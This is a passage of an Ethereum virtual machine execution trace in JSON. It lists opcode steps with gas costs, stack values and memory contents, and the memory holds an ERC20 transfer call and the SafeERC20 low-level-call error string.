09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7713,"op":"PUSH2","gas":62285,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7716,"op":"JUMP","gas":62282,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x60","0x1e0d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7693,"op":"JUMPDEST","gas":62274,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7694,"op":"DUP4","gas":62273,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7695,"op":"DUP2","gas":62270,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x60","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7696,"op":"LT","gas":62267,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x60","0x44","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7697,"op":"ISZERO","gas":62264,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x60","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7698,"op":"PUSH2","gas":62261,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x60","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7701,"op":"JUMPI","gas":62258,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x60","0x1","0x1e25"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7717,"op":"JUMPDEST","gas":62248,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7718,"op":"DUP4","gas":62247,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7719,"op":"DUP2","gas":62244,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x60","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7720,"op":"GT","gas":62241,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x60","0x44","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7721,"op":"ISZERO","gas":62238,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x60","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7722,"op":"PUSH2","gas":62235,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x60","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7725,"op":"JUMPI","gas":62232,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x60","0x0","0x1445"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7726,"op":"POP","gas":62222,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7727,"op":"POP","gas":62220,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1